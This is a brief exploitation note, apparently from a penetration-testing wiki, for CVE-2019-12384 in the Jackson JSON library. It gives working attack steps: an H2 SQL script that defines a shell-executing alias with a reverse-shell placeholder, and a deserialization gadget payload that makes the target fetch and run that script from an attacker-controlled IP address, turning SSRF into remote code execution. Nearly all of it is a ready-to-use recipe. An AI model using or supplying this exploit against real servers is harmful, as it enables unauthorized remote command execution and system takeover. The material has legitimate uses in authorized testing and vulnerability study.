# com.fasterxml.jackson

## CVE-2019-12384 | com.fasterxml.jackson

{% embed url="<https://github.com/jas502n/CVE-2019-12384>" %}

{% embed url="<https://blog.doyensec.com/2019/07/22/jackson-gadgets.html>" %}

## SSRF to RCE

their is vulnearability in jackson parser , this takes advantage of JSON Deseralization and do a **SSRF** , by which we can chain it to **RCE**\
\
Prerequsites :-

1. application takes json data by user
2. application process that json data using com.fasterxml.jackson

in order to exploit :-

1. make a sql file , which the server is going to recieve and edit your payload in it

```sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('reverse shell payload here')
```

2. set up a local server on your machine using python
3. in burp suite or in input field enter this ruby payload :-

```bash
"ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.16.4:8000/inject.sql'"}]
```

4. Make sure , changing ip address in ruby payload and command injection in sql file , accordingly


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